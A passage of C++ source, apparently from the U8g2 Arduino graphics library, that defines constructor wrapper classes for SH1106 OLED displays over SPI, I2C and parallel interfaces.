u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_vcomh0_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_128X64_WINSTAR_1_SW_I2C : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_128X64_WINSTAR_1_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_128X64_WINSTAR_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_winstar_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_128X64_NONAME_2_SW_I2C : public U8G2 { public: U8G2_SH1106_128X64_NONAME_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_128X64_NONAME_2_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_NONAME_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_128X64_NONAME_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_NONAME_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_noname_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_128X64_VCOMH0_2_SW_I2C : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_128X64_VCOMH0_2_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_128X64_VCOMH0_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_vcomh0_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_128X64_WINSTAR_2_SW_I2C : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_128X64_WINSTAR_2_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_128X64_WINSTAR_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_winstar_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_128X64_NONAME_F_SW_I2C : public U8G2 { public: U8G2_SH1106_128X64_NONAME_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_128X64_NONAME_F_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_NONAME_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_128X64_NONAME_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_NONAME_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_noname_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_128X64_VCOMH0_F_SW_I2C : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_128X64_VCOMH0_F_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_128X64_VCOMH0_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_VCOMH0_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_vcomh0_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_128X64_WINSTAR_F_SW_I2C : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_128X64_WINSTAR_F_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_128X64_WINSTAR_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_128X64_WINSTAR_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_128x64_winstar_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_72X40_WISE_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_72X40_WISE_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_72X40_WISE_1_6800 : public U8G2 { public: U8G2_SH1106_72X40_WISE_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_1_8080 : public U8G2 { public: U8G2_SH1106_72X40_WISE_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_2_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_2_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_2_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_2_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_2_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_2_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_72X40_WISE_2_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_2_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_72X40_WISE_2_6800 : public U8G2 { public: U8G2_SH1106_72X40_WISE_2_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_2_8080 : public U8G2 { public: U8G2_SH1106_72X40_WISE_2_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_F_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_F_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_F_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_F_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_F_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_F_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_F_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_F_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_72X40_WISE_F_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_72X40_WISE_F_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_72X40_WISE_F_6800 : public U8G2 { public: U8G2_SH1106_72X40_WISE_F_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_F_8080 : public U8G2 { public: U8G2_SH1106_72X40_WISE_F_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_72X40_WISE_1_SW_I2C : public U8G2 { public: U8G2_SH1106_72X40_WISE_1_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_72X40_WISE_1_HW_I2C : public U8G2 { public: U8G2_SH1106_72X40_WISE_1_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_72X40_WISE_1_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_72X40_WISE_1_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_72x40_wise_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_72X40_WISE_2_SW_I2C : public U8G2 { public: U8G2_SH1106_72X40_WISE_2_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_72X40_WISE_2_HW_I2C : public U8G2 { public: U8G2_SH1106_72X40_WISE_2_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_72X40_WISE_2_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_72X40_WISE_2_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_72x40_wise_2(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_72X40_WISE_F_SW_I2C : public U8G2 { public: U8G2_SH1106_72X40_WISE_F_SW_I2C(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_sw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_SW_I2C(getU8x8(), clock, data, reset); } }; class U8G2_SH1106_72X40_WISE_F_HW_I2C : public U8G2 { public: U8G2_SH1106_72X40_WISE_F_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE, uint8_t clock = U8X8_PIN_NONE, uint8_t data = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset, clock, data); } }; class U8G2_SH1106_72X40_WISE_F_2ND_HW_I2C : public U8G2 { public: U8G2_SH1106_72X40_WISE_F_2ND_HW_I2C(const u8g2_cb_t *rotation, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_i2c_72x40_wise_f(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_i2c, u8x8_gpio_and_delay_arduino); u8x8_SetPin_HW_I2C(getU8x8(), reset); } }; class U8G2_SH1106_64X32_1_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_64X32_1_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_arduino_4wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_SW_SPI(getU8x8(), clock, data, cs, dc, reset); } }; class U8G2_SH1106_64X32_1_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_64X32_1_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_64X32_1_2ND_4W_HW_SPI : public U8G2 { public: U8G2_SH1106_64X32_1_2ND_4W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_arduino_2nd_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_4Wire_HW_SPI(getU8x8(), cs, dc, reset); } }; class U8G2_SH1106_64X32_1_3W_SW_SPI : public U8G2 { public: U8G2_SH1106_64X32_1_3W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_sw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_SW_SPI(getU8x8(), clock, data, cs, reset); } }; class U8G2_SH1106_64X32_1_3W_HW_SPI : public U8G2 { public: U8G2_SH1106_64X32_1_3W_HW_SPI(const u8g2_cb_t *rotation, uint8_t cs, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_arduino_3wire_hw_spi, u8x8_gpio_and_delay_arduino); u8x8_SetPin_3Wire_HW_SPI(getU8x8(), cs, reset); } }; class U8G2_SH1106_64X32_1_6800 : public U8G2 { public: U8G2_SH1106_64X32_1_6800(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_6800(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_64X32_1_8080 : public U8G2 { public: U8G2_SH1106_64X32_1_8080(const u8g2_cb_t *rotation, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { u8g2_Setup_sh1106_64x32_1(&u8g2, rotation, u8x8_byte_arduino_8bit_8080mode, u8x8_gpio_and_delay_arduino); u8x8_SetPin_8Bit_8080(getU8x8(), d0, d1, d2, d3, d4, d5, d6, d7, enable, cs, dc, reset); } }; class U8G2_SH1106_64X32_2_4W_SW_SPI : public U8G2 { public: U8G2_SH1106_64X32_2_4W_SW_SPI(const u8g2_cb_t *rotation, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset = U8X8_PIN_NONE) : U8G2() { 